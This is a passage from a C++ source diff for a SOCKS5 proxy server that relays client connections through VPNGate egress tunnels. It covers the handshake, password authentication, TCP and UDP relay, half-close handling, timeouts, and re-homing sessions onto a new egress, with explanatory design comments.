auto self = shared_from_this();
|
||||
asio::post(strand_, [self] {
|
||||
// TCP_NODELAY on the client side: a proxy that batches a 30-byte HTTP
|
||||
// request behind Nagle adds 40ms to every request for no benefit.
|
||||
std::error_code ignored;
|
||||
self->client_.set_option(asio::ip::tcp::no_delay(true), ignored);
|
||||
|
||||
self->set_phase(Phase::Handshake);
|
||||
self->arm_timer();
|
||||
self->step_greeting();
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handshake
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Reads one more chunk into the handshake buffer and calls `retry`, which
|
||||
// re-runs whichever decoder asked for more. The decoders are restartable from
|
||||
// the front of the buffer, so a partial read costs nothing but a re-parse of a
|
||||
// few bytes.
|
||||
void Session::read_more(std::function<void()> retry) {
|
||||
if (closed_) return;
|
||||
if (hs_len_ >= kHandshakeBufBytes) {
|
||||
// Cannot happen with a well-formed peer: every handshake message is
|
||||
// bounded. Something is feeding us garbage.
|
||||
finish("handshake buffer overflow");
|
||||
return;
|
||||
}
|
||||
auto self = shared_from_this();
|
||||
client_.async_read_some(
|
||||
asio::buffer(up_buf_.data() + hs_len_, kHandshakeBufBytes - hs_len_),
|
||||
[self, retry = std::move(retry)](const std::error_code &ec, size_t n) {
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
m_handshake_failed()->inc();
|
||||
self->finish(ec == asio::error::eof ? "client closed during handshake"
|
||||
: "handshake read failed");
|
||||
return;
|
||||
}
|
||||
self->hs_len_ += n;
|
||||
retry();
|
||||
});
|
||||
}
|
||||
|
||||
void Session::step_greeting() {
|
||||
Greeting g;
|
||||
const Decode d = decode_greeting(up_buf_.data(), hs_len_, &g);
|
||||
if (d.status == Status::Bad) {
|
||||
m_handshake_failed()->inc();
|
||||
finish("malformed greeting");
|
||||
return;
|
||||
}
|
||||
if (d.status == Status::NeedMore) {
|
||||
auto self = shared_from_this();
|
||||
read_more([self] { self->step_greeting(); });
|
||||
return;
|
||||
}
|
||||
|
||||
// Consume the greeting; anything after it is the next message.
|
||||
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
|
||||
hs_len_ -= d.used;
|
||||
|
||||
const bool require = auth_ != nullptr && auth_->required();
|
||||
Method chosen = Method::None;
|
||||
if (g.offers(Method::UserPass) && auth_ != nullptr) {
|
||||
// Preferred whenever the client offers it, even when auth is optional:
|
||||
// a presented password is always verified.
|
||||
chosen = Method::UserPass;
|
||||
} else if (!require && g.offers(Method::NoAuth)) {
|
||||
chosen = Method::NoAuth;
|
||||
}
|
||||
|
||||
const auto reply = encode_method_selection(chosen);
|
||||
auto self = shared_from_this();
|
||||
auto buf = std::make_shared<std::vector<uint8_t>>(reply);
|
||||
asio::async_write(
|
||||
client_, asio::buffer(*buf),
|
||||
[self, buf, chosen](const std::error_code &ec, size_t) {
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
self->finish("method selection write failed");
|
||||
return;
|
||||
}
|
||||
if (chosen == Method::None) {
|
||||
m_handshake_failed()->inc();
|
||||
LOG_DEBUG(kMod, "[{}] no acceptable auth method", self->id_);
|
||||
self->finish("no acceptable auth method");
|
||||
return;
|
||||
}
|
||||
if (chosen == Method::UserPass) {
|
||||
self->set_state(SessionState::Auth);
|
||||
self->step_userpass();
|
||||
} else {
|
||||
self->authed_ = true;
|
||||
self->set_state(SessionState::Request);
|
||||
self->step_request();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void Session::step_userpass() {
|
||||
UserPass up;
|
||||
const Decode d = decode_userpass(up_buf_.data(), hs_len_, &up);
|
||||
if (d.status == Status::Bad) {
|
||||
m_handshake_failed()->inc();
|
||||
finish("malformed auth request");
|
||||
return;
|
||||
}
|
||||
if (d.status == Status::NeedMore) {
|
||||
auto self = shared_from_this();
|
||||
read_more([self] { self->step_userpass(); });
|
||||
return;
|
||||
}
|
||||
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
|
||||
hs_len_ -= d.used;
|
||||
|
||||
const bool ok = auth_ != nullptr && auth_->check(up.username, up.password);
|
||||
if (!ok) {
|
||||
m_auth_failed()->inc();
|
||||
LOG_INFO(kMod, "[{}] auth rejected for user '{}' from {}", id_, up.username,
|
||||
client_str_);
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
auto buf = std::make_shared<std::vector<uint8_t>>(encode_userpass_reply(ok));
|
||||
asio::async_write(client_, asio::buffer(*buf),
|
||||
[self, buf, ok](const std::error_code &ec, size_t) {
|
||||
if (self->closed_) return;
|
||||
// RFC 1929 §2: on failure the server MUST close.
|
||||
if (ec || !ok) {
|
||||
self->finish(ok ? "auth reply write failed"
|
||||
: "authentication failed");
|
||||
return;
|
||||
}
|
||||
self->authed_ = true;
|
||||
self->set_state(SessionState::Request);
|
||||
self->step_request();
|
||||
});
|
||||
}
|
||||
|
||||
void Session::step_request() {
|
||||
Request req;
|
||||
const Decode d = decode_request(up_buf_.data(), hs_len_, &req);
|
||||
if (d.status == Status::Bad) {
|
||||
m_handshake_failed()->inc();
|
||||
// Best effort: the client may not even be speaking SOCKS5, but a reply
|
||||
// costs one small write and tells a well-behaved one what went wrong.
|
||||
reply_and_close(Reply::GeneralFailure, "malformed request");
|
||||
return;
|
||||
}
|
||||
if (d.status == Status::NeedMore) {
|
||||
auto self = shared_from_this();
|
||||
read_more([self] { self->step_request(); });
|
||||
return;
|
||||
}
|
||||
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
|
||||
hs_len_ -= d.used;
|
||||
|
||||
dispatch(req);
|
||||
}
|
||||
|
||||
void Session::dispatch(const Request &req) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
target_ = req.target;
|
||||
target_str_ = req.target.to_string();
|
||||
command_str_ = command_name(req.command);
|
||||
}
|
||||
|
||||
switch (req.command) {
|
||||
case Command::Connect:
|
||||
LOG_DEBUG(kMod, "[{}] CONNECT {} via {}", id_, req.target.to_string(),
|
||||
egress_->label());
|
||||
do_connect(req.target);
|
||||
return;
|
||||
|
||||
case Command::UdpAssociate:
|
||||
if (!opts_->socks5.udp_associate_enabled) {
|
||||
reply_and_close(Reply::CommandNotSupported, "UDP ASSOCIATE disabled");
|
||||
return;
|
||||
}
|
||||
do_udp_associate(req.target);
|
||||
return;
|
||||
|
||||
case Command::Bind:
|
||||
// docs/FEASIBILITY.md §5.4: a VPNGate exit is behind NAT and cannot
|
||||
// receive an inbound connection, so BIND could not work even if it were
|
||||
// implemented. Saying so immediately beats a timeout.
|
||||
reply_and_close(Reply::CommandNotSupported, "BIND is not supported");
|
||||
return;
|
||||
}
|
||||
reply_and_close(Reply::CommandNotSupported, "unknown command");
|
||||
}
|
||||
|
||||
void Session::reply_and_close(Reply rep, const char *why) {
|
||||
auto self = shared_from_this();
|
||||
send_reply(rep, Endpoint(), [self, why] { self->finish(why); });
|
||||
}
|
||||
|
||||
void Session::send_reply(Reply rep, const Endpoint &bound,
|
||||
std::function<void()> then) {
|
||||
if (closed_) return;
|
||||
auto buf = std::make_shared<std::vector<uint8_t>>(encode_reply(rep, bound));
|
||||
auto self = shared_from_this();
|
||||
asio::async_write(client_, asio::buffer(*buf),
|
||||
[self, buf, then = std::move(then)](
|
||||
const std::error_code &ec, size_t) {
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
self->finish("reply write failed");
|
||||
return;
|
||||
}
|
||||
then();
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CONNECT
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void Session::do_connect(const Endpoint &target) {
|
||||
set_state(SessionState::Connecting);
|
||||
set_phase(Phase::Connect);
|
||||
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
egress_->async_connect_tcp(
|
||||
strand_, target, opts_->socks5.connect_timeout,
|
||||
[self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) {
|
||||
if (self->closed_ || gen != self->gen_) {
|
||||
if (stream) stream->close();
|
||||
return;
|
||||
}
|
||||
if (ec) {
|
||||
m_connect_failed()->inc();
|
||||
LOG_INFO(kMod, "[{}] CONNECT {} failed: {}", self->id_,
|
||||
self->target_str_, ec.message());
|
||||
self->reply_and_close(reply_for(ec), "connect failed");
|
||||
return;
|
||||
}
|
||||
self->remote_ = std::move(stream);
|
||||
// BND is the address the egress dialled from, which is what RFC 1928
|
||||
// asks for and what a client behind us would use for a subsequent
|
||||
// BIND -- informational here, but wrong information is worse than
|
||||
// none.
|
||||
self->send_reply(Reply::Succeeded, self->remote_->local_endpoint(),
|
||||
[self] { self->begin_relay(); });
|
||||
});
|
||||
}
|
||||
|
||||
void Session::begin_relay() {
|
||||
set_state(SessionState::Established);
|
||||
set_phase(Phase::Idle);
|
||||
|
||||
// The client may already have pipelined request bytes into the handshake
|
||||
// buffer while waiting for our reply. Those belong to the stream and must go
|
||||
// out before anything read later.
|
||||
if (hs_len_ > 0) {
|
||||
const size_t n = hs_len_;
|
||||
hs_len_ = 0;
|
||||
start_up_write(n);
|
||||
} else {
|
||||
start_up_read();
|
||||
}
|
||||
start_down_read();
|
||||
}
|
||||
|
||||
void Session::start_up_read() {
|
||||
if (closed_ || up_done_) return;
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
++active_;
|
||||
client_.async_read_some(
|
||||
asio::buffer(up_buf_), [self, gen](const std::error_code &ec, size_t n) {
|
||||
--self->active_;
|
||||
if (gen != self->gen_) {
|
||||
// A rehome overtook this read. Keep the bytes: the new stream has
|
||||
// seen nothing, so replaying them is exactly right.
|
||||
if (!ec && n > 0) self->up_pending_ = n;
|
||||
self->rehome_ready();
|
||||
return;
|
||||
}
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
if (ec == asio::error::eof) {
|
||||
self->half_close_up();
|
||||
} else {
|
||||
self->finish("client read failed");
|
||||
}
|
||||
return;
|
||||
}
|
||||
self->touch();
|
||||
self->start_up_write(n);
|
||||
});
|
||||
}
|
||||
|
||||
void Session::start_up_write(size_t n) {
|
||||
if (closed_ || !remote_) return;
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
up_writing_ = true;
|
||||
++active_;
|
||||
remote_->async_write(
|
||||
asio::buffer(up_buf_.data(), n),
|
||||
[self, gen, n](const std::error_code &ec, size_t) {
|
||||
--self->active_;
|
||||
self->up_writing_ = false;
|
||||
if (gen != self->gen_) {
|
||||
self->rehome_ready();
|
||||
return;
|
||||
}
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
self->finish("egress write failed");
|
||||
return;
|
||||
}
|
||||
self->up_bytes_.fetch_add(n, std::memory_order_relaxed);
|
||||
m_bytes_up()->inc(n);
|
||||
self->touch();
|
||||
self->start_up_read();
|
||||
});
|
||||
}
|
||||
|
||||
void Session::start_down_read() {
|
||||
if (closed_ || down_done_ || !remote_) return;
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
++active_;
|
||||
remote_->async_read_some(
|
||||
asio::buffer(down_buf_), [self, gen](const std::error_code &ec, size_t n) {
|
||||
--self->active_;
|
||||
if (gen != self->gen_) {
|
||||
// Data arrived from the old stream after we decided it was idle.
|
||||
// The stream is already closed, so forwarding it is impossible and
|
||||
// pretending it never happened would silently truncate.
|
||||
if (!ec && n > 0) self->rehome_abort_ = true;
|
||||
self->rehome_ready();
|
||||
return;
|
||||
}
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
if (ec == asio::error::eof) {
|
||||
self->half_close_down();
|
||||
} else {
|
||||
self->finish("egress read failed");
|
||||
}
|
||||
return;
|
||||
}
|
||||
self->touch();
|
||||
self->start_down_write(n);
|
||||
});
|
||||
}
|
||||
|
||||
void Session::start_down_write(size_t n) {
|
||||
if (closed_) return;
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
down_writing_ = true;
|
||||
++active_;
|
||||
asio::async_write(client_, asio::buffer(down_buf_.data(), n),
|
||||
[self, gen, n](const std::error_code &ec, size_t) {
|
||||
--self->active_;
|
||||
self->down_writing_ = false;
|
||||
if (gen != self->gen_) {
|
||||
self->rehome_ready();
|
||||
return;
|
||||
}
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
self->finish("client write failed");
|
||||
return;
|
||||
}
|
||||
self->down_bytes_.fetch_add(n, std::memory_order_relaxed);
|
||||
m_bytes_down()->inc(n);
|
||||
self->touch();
|
||||
self->start_down_read();
|
||||
});
|
||||
}
|
||||
|
||||
void Session::half_close_up() {
|
||||
up_done_ = true;
|
||||
if (remote_) remote_->shutdown_send();
|
||||
maybe_finish();
|
||||
}
|
||||
|
||||
void Session::half_close_down() {
|
||||
down_done_ = true;
|
||||
std::error_code ignored;
|
||||
client_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored);
|
||||
maybe_finish();
|
||||
}
|
||||
|
||||
void Session::maybe_finish() {
|
||||
if (up_done_ && down_done_) finish("both directions closed");
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// UDP ASSOCIATE
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void Session::do_udp_associate(const Endpoint &expect) {
|
||||
std::error_code ec;
|
||||
const auto local = client_.local_endpoint(ec);
|
||||
const auto peer = client_.remote_endpoint(ec);
|
||||
if (ec) {
|
||||
reply_and_close(Reply::GeneralFailure, "control connection has no address");
|
||||
return;
|
||||
}
|
||||
|
||||
assoc_ = UdpAssociation::create(strand_, opts_->socks5, egress_);
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
assoc_->async_open(
|
||||
local.address(), peer.address(), expect,
|
||||
[self, gen](const std::error_code &oec) {
|
||||
if (self->closed_ || gen != self->gen_) return;
|
||||
if (oec) {
|
||||
self->assoc_.reset();
|
||||
self->reply_and_close(reply_for(oec), "udp associate failed");
|
||||
return;
|
||||
}
|
||||
m_udp_assoc()->inc();
|
||||
g_udp_active()->add(1);
|
||||
LOG_INFO(kMod, "[{}] UDP ASSOCIATE ready, advertising {}", self->id_,
|
||||
self->assoc_->advertised().to_string());
|
||||
self->send_reply(Reply::Succeeded, self->assoc_->advertised(),
|
||||
[self] {
|
||||
self->set_state(SessionState::Udp);
|
||||
self->set_phase(Phase::Idle);
|
||||
self->park_control_connection();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// RFC 1928 §7 ties the association's lifetime to this TCP connection. Nothing
|
||||
// more is expected to arrive on it, so the read exists purely to notice the
|
||||
// close -- and to consume anything a confused client sends rather than letting
|
||||
// it fill a receive buffer.
|
||||
void Session::park_control_connection() {
|
||||
if (closed_) return;
|
||||
auto self = shared_from_this();
|
||||
client_.async_read_some(asio::buffer(up_buf_),
|
||||
[self](const std::error_code &ec, size_t) {
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
self->finish("udp control connection closed");
|
||||
return;
|
||||
}
|
||||
self->park_control_connection();
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Re-homing (ARCHITECTURE §5.3 / §5.4)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void Session::try_rehome(const egress::EgressPtr &from,
|
||||
const egress::EgressPtr &fresh) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, from, fresh] {
|
||||
if (self->closed_ || self->egress_ != from || !fresh) return;
|
||||
self->do_rehome(fresh);
|
||||
});
|
||||
}
|
||||
|
||||
void Session::close_if_on(const egress::EgressPtr &which, const char *why) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, which, why] {
|
||||
if (self->closed_ || self->egress_ != which) return;
|
||||
self->finish(why);
|
||||
});
|
||||
}
|
||||
|
||||
void Session::do_rehome(egress::EgressPtr fresh) {
|
||||
if (rehoming_) return;
|
||||
|
||||
if (state_.load(std::memory_order_relaxed) == SessionState::Udp) {
|
||||
if (!opts_->rehome_udp || !assoc_) return;
|
||||
egress_ = fresh;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
egress_label_ = egress_->label();
|
||||
}
|
||||
assoc_->rehome(egress_);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!opts_->retry_zero_progress) return;
|
||||
if (state_.load(std::memory_order_relaxed) != SessionState::Established ||
|
||||
!remote_) {
|
||||
return;
|
||||
}
|
||||
// Mid-write means bytes are already committed to the old stream.
|
||||
if (up_writing_ || down_writing_) return;
|
||||
if (up_done_ || down_done_) return;
|
||||
// The stream itself is the source of truth for "has anything happened here",
|
||||
// which is exactly why TcpStream exposes these counters.
|
||||
if (remote_->bytes_written() != 0 || remote_->bytes_read() != 0) return;
|
||||
|
||||
rehoming_ = true;
|
||||
rehome_abort_ = false;
|
||||
up_pending_ = 0;
|
||||
++gen_; // everything outstanding is now stale
|
||||
new_egress_ = std::move(fresh);
|
||||
|
||||
auto old = std::move(remote_);
|
||||
if (old) old->close(); // fails the pending down read with Cancelled
|
||||
std::error_code ignored;
|
||||
client_.cancel(ignored); // fails the pending up read
|
||||
|
||||
rehome_ready(); // in case nothing was outstanding
|
||||
}
|
||||
|
||||
void Session::rehome_ready() {
|
||||
if (!rehoming_ || active_ != 0) return;
|
||||
if (closed_) return;
|
||||
|
||||
if (rehome_abort_) {
|
||||
m_rehome_failed()->inc();
|
||||
rehoming_ = false;
|
||||
finish("inbound data raced the rehome");
|
||||
return;
|
||||
}
|
||||
rehome_connect();
|
||||
}
|
||||
|
||||
void Session::rehome_connect() {
|
||||
egress_ = std::move(new_egress_);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
egress_label_ = egress_->label();
|
||||
}
|
||||
set_phase(Phase::Connect);
|
||||
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
Endpoint target;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
target = target_;
|
||||
}
|
||||
egress_->async_connect_tcp(
|
||||
strand_, target, opts_->socks5.connect_timeout,
|
||||
[self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) {
|
||||
if (self->closed_ || gen != self->gen_) {
|
||||
if (stream) stream->close();
|
||||
return;
|
||||
}
|
||||
if (ec) {
|
||||
m_rehome_failed()->inc();
|
||||
self->rehoming_ = false;
|
||||
// The old stream is gone; there is nothing to fall back to. This is
|
||||
// the "if you cannot keep it, drop it" case, scoped to one session.
|
||||
self->finish("rehome could not reconnect");
|
||||
return;
|
||||
}
|
||||
self->remote_ = std::move(stream);
|
||||
self->rehoming_ = false;
|
||||
self->set_phase(Phase::Idle);
|
||||
m_rehomed()->inc();
|
||||
LOG_INFO(kMod, "[{}] rehomed {} onto {}", self->id_, self->target_str_,
|
||||
self->egress_->label());
|
||||
|
||||
if (self->up_pending_ > 0) {
|
||||
const size_t n = self->up_pending_;
|
||||
self->up_pending_ = 0;
|
||||
self->start_up_write(n);
|
||||
} else {
|
||||
self->start_up_read();
|
||||
}
|
||||
self->start_down_read();
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Timers and teardown
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void Session::set_phase(Phase p) {
|
||||
phase_ = p;
|
||||
switch (p) {
|
||||
case Phase::Handshake:
|
||||
deadline_ = Clock::now() + opts_->socks5.handshake_timeout;
|
||||
break;
|
||||
case Phase::Connect:
|
||||
deadline_ = Clock::now() + opts_->socks5.connect_timeout;
|
||||
break;
|
||||
case Phase::Idle:
|
||||
touch();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void Session::touch() {
|
||||
// Deliberately does not reschedule the timer. See the header comment: at a
|
||||
// thousand sessions, one timer update per relayed buffer would cost more than
|
||||
// the relay.
|
||||
deadline_ = Clock::now() + (state_.load(std::memory_order_relaxed) ==
|
||||
SessionState::Udp
|
||||
? opts_->socks5.udp_idle_timeout
|
||||
: opts_->socks5.idle_timeout);
|
||||
}
|
||||
|
||||
void Session::arm_timer() {
|
||||
if (closed_) return;
|
||||
auto self = shared_from_this();
|
||||
timer_.expires_at(deadline_);
|
||||
timer_.async_wait([self](const std::error_code &ec) {
|
||||
if (self->closed_) return;
|
||||
if (ec == asio::error::operation_aborted) return;
|
||||
self->on_timer();
|
||||
});
|
||||
}
|
||||
|
||||
void Session::on_timer() {
|
||||
// A UDP association's activity lives in the association, not here.
|
||||
if (state_.load(std::memory_order_relaxed) == SessionState::Udp && assoc_) {
|
||||
const auto idle_at =
|
||||
assoc_->last_activity() + opts_->socks5.udp_idle_timeout;
|
||||
if (idle_at > deadline_) deadline_ = idle_at;
|
||||
}
|
||||
|
||||
if (Clock::now() < deadline_) {
|
||||
arm_timer(); // the deadline moved under us; wait for the new one
|
||||
return;
|
||||
}
|
||||
|
||||
switch (phase_) {
|
||||
case Phase::Handshake:
|
||||
m_timeout_handshake()->inc();
|
||||
m_handshake_failed()->inc();
|
||||
finish("handshake timeout");
|
||||
return;
|
||||
case Phase::Connect:
|
||||
m_timeout_connect()->inc();
|
||||
finish("connect timeout");
|
||||
return;
|
||||
case Phase::Idle:
|
||||
m_timeout_idle()->inc();
|
||||
finish("idle timeout");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Session::force_close(const char *why) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, why] { self->finish(why); });
|
||||
}
|
||||
|
||||
void Session::finish(const char *why) {
|
||||
if (closed_) return;
|
||||
closed_ = true;
|
||||
++gen_;
|
||||
|
||||
const bool was_udp = state_.load(std::memory_order_relaxed) ==
|
||||
SessionState::Udp;
|
||||
set_state(SessionState::Closed);
|
||||
|
||||
std::error_code ignored;
|
||||
timer_.cancel();
|
||||
client_.close(ignored);
|
||||
if (remote_) {
|
||||
remote_->close();
|
||||
remote_.reset();
|
||||
}
|
||||
if (assoc_) {
|
||||
assoc_->close();
|
||||
assoc_.reset();
|
||||
if (was_udp) g_udp_active()->sub(1);
|
||||
}
|
||||
// Released here rather than at destruction: the drain in EgressManager keys
|
||||
// off the reference count, so holding it until some later handler drops the
|
||||
// last shared_ptr to us would stretch every switch.
|
||||
egress_.reset();
|
||||
new_egress_.reset();
|
||||
|
||||
LOG_DEBUG(kMod, "[{}] closed ({}), up={} down={}", id_, why,
|
||||
up_bytes_.load(std::memory_order_relaxed),
|
||||
down_bytes_.load(std::memory_order_relaxed));
|
||||
|
||||
if (on_closed_) {
|
||||
auto h = std::move(on_closed_);
|
||||
h(id_);
|
||||
}
|
||||
}
|
||||
|
||||
void Session::set_state(SessionState s) {
|
||||
state_.store(s, std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
Session::Info Session::info() const {
|
||||
Info i;
|
||||
i.id = id_;
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
i.client = client_str_;
|
||||
i.target = target_str_;
|
||||
i.command = command_str_;
|
||||
i.state = session_state_name(state_.load(std::memory_order_relaxed));
|
||||
i.egress_label = egress_label_;
|
||||
i.bytes_up = up_bytes_.load(std::memory_order_relaxed);
|
||||
i.bytes_down = down_bytes_.load(std::memory_order_relaxed);
|
||||
i.age_ms = std::chrono::duration_cast<Millis>(Clock::now() - created_).count();
|
||||
return i;
|
||||
}
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,232 @@
|
||||
// One SOCKS5 client connection, from greeting to teardown.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// No thread per connection
|
||||
// ---------------------------------------------------------------------------
|
||||
// The requirement was ~1000 concurrent connections without a thread each. A
|
||||
// Session owns no thread; it owns a strand over the shared io_context. N
|
||||
// sessions on 4 io threads each still see a single-threaded world, because
|
||||
// every callback that touches this object is dispatched on that strand. The
|
||||
// per-session cost is two relay buffers, a socket, a timer, and this object --
|
||||
// tens of kilobytes, not a megabyte of stack.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Half-close, which is where proxies usually get it wrong
|
||||
// ---------------------------------------------------------------------------
|
||||
// The two directions are independent. A client that finished sending its
|
||||
// request and shut down its write side is *not* done: it is waiting for the
|
||||
// response. Closing the whole session on the first EOF truncates that response,
|
||||
// and it is the single most common proxy bug. So:
|
||||
//
|
||||
// client EOF -> remote->shutdown_send(), keep reading from remote
|
||||
// remote EOF -> client.shutdown(send), keep reading from client
|
||||
// both -> close
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Three timers, one steady_timer
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handshake, connect, and idle are independent deadlines but never overlap, so
|
||||
// they share one timer and a `deadline_` field. Refreshing activity moves the
|
||||
// field and does *not* touch the timer -- at a thousand sessions moving a
|
||||
// timer per datagram would cost more than the relay does. The timer wakes at
|
||||
// the old deadline, notices it moved, and re-arms.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Its egress, and how it can change
|
||||
// ---------------------------------------------------------------------------
|
||||
// A session holds an EgressPtr for its whole life. That reference is what makes
|
||||
// draining work without a session table (egress/egress.h), and it means a
|
||||
// session's bytes cannot be split across two tunnels mid-stream.
|
||||
//
|
||||
// There are exactly two exceptions, both from docs/ARCHITECTURE.md §5.3-5.4:
|
||||
//
|
||||
// * A TCP session that has moved zero bytes through its stream is carrying no
|
||||
// stream state, so it can be re-dialled on the new egress and the client
|
||||
// never learns. `try_rehome` does this.
|
||||
// * A UDP association has no sequence state at all, so only the egress-side
|
||||
// socket is replaced. See socks5/udp_relay.h.
|
||||
//
|
||||
// Anything else stays where it is and drains, and is force-closed if the grace
|
||||
// window expires. That is the honest answer to "keep existing connections if
|
||||
// possible, otherwise drop them".
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/endpoint.h"
|
||||
#include "common/strand_deleter.h"
|
||||
#include "egress/egress.h"
|
||||
#include "socks5/auth.h"
|
||||
#include "socks5/protocol.h"
|
||||
#include "socks5/udp_relay.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
|
||||
// The slice of configuration a session needs. Shared by pointer so that a
|
||||
// thousand sessions do not each copy the credential list and the switch policy.
|
||||
struct SessionOptions {
|
||||
Socks5Config socks5;
|
||||
bool retry_zero_progress = true; // SwitchConfig::retry_zero_progress
|
||||
bool rehome_udp = true; // SwitchConfig::rehome_udp
|
||||
};
|
||||
using SessionOptionsPtr = std::shared_ptr<const SessionOptions>;
|
||||
|
||||
// The client socket is bound to a Strand *as its type*, not merely handed one
|
||||
// per operation. Accepting straight into `asio::make_strand(io)` means every
|
||||
// completion on it is already serialised, so nothing in the relay needs
|
||||
// bind_executor and no call site can forget to.
|
||||
using ClientSocket = asio::basic_stream_socket<asio::ip::tcp, Strand>;
|
||||
|
||||
enum class SessionState {
|
||||
Handshake, // greeting / method selection
|
||||
Auth, // RFC 1929 exchange
|
||||
Request, // waiting for the CONNECT/BIND/UDP request
|
||||
Connecting, // dialling through the egress
|
||||
Established, // TCP relay running
|
||||
Udp, // UDP association live, control connection parked
|
||||
Closed,
|
||||
};
|
||||
const char *session_state_name(SessionState s);
|
||||
|
||||
class Session : public std::enable_shared_from_this<Session> {
|
||||
public:
|
||||
using CloseHandler = std::function<void(uint64_t)>;
|
||||
|
||||
static std::shared_ptr<Session> create(uint64_t id, ClientSocket sock,
|
||||
SessionOptionsPtr opts,
|
||||
const Authenticator *auth,
|
||||
egress::EgressPtr egress,
|
||||
CloseHandler on_closed);
|
||||
~Session();
|
||||
|
||||
void start();
|
||||
|
||||
// Safe from any thread. `why` must be a string literal: it is captured by
|
||||
// pointer and logged after the post.
|
||||
void force_close(const char *why);
|
||||
|
||||
// Offers a move onto `fresh`, but only if this session is still on `from` and
|
||||
// is genuinely re-homeable. Safe from any thread; does nothing if not
|
||||
// eligible. See the header comment.
|
||||
void try_rehome(const egress::EgressPtr &from, const egress::EgressPtr &fresh);
|
||||
|
||||
// Closes only if this session is still using `which`. This is the "otherwise
|
||||
// drop them" half of the requirement, used when a drain window expires.
|
||||
// Safe from any thread.
|
||||
void close_if_on(const egress::EgressPtr &which, const char *why);
|
||||
|
||||
// Snapshot for the admin endpoint. Safe from any thread.
|
||||
struct Info {
|
||||
uint64_t id = 0;
|
||||
std::string client;
|
||||
std::string target;
|
||||
std::string command;
|
||||
std::string state;
|
||||
std::string egress_label;
|
||||
uint64_t bytes_up = 0;
|
||||
uint64_t bytes_down = 0;
|
||||
int64_t age_ms = 0;
|
||||
};
|
||||
Info info() const;
|
||||
|
||||
uint64_t id() const { return id_; }
|
||||
|
||||
private:
|
||||
enum class Phase { Handshake, Connect, Idle };
|
||||
|
||||
Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts,
|
||||
const Authenticator *auth, egress::EgressPtr egress,
|
||||
CloseHandler on_closed);
|
||||
|
||||
// --- handshake ---
|
||||
void read_more(std::function<void()> retry);
|
||||
void step_greeting();
|
||||
void step_userpass();
|
||||
void step_request();
|
||||
void dispatch(const Request &req);
|
||||
void reply_and_close(Reply rep, const char *why);
|
||||
void send_reply(Reply rep, const Endpoint &bound, std::function<void()> then);
|
||||
|
||||
// --- connect / relay ---
|
||||
void do_connect(const Endpoint &target);
|
||||
void begin_relay();
|
||||
void start_up_read();
|
||||
void start_up_write(size_t n);
|
||||
void start_down_read();
|
||||
void start_down_write(size_t n);
|
||||
void half_close_up();
|
||||
void half_close_down();
|
||||
void maybe_finish();
|
||||
|
||||
// --- udp ---
|
||||
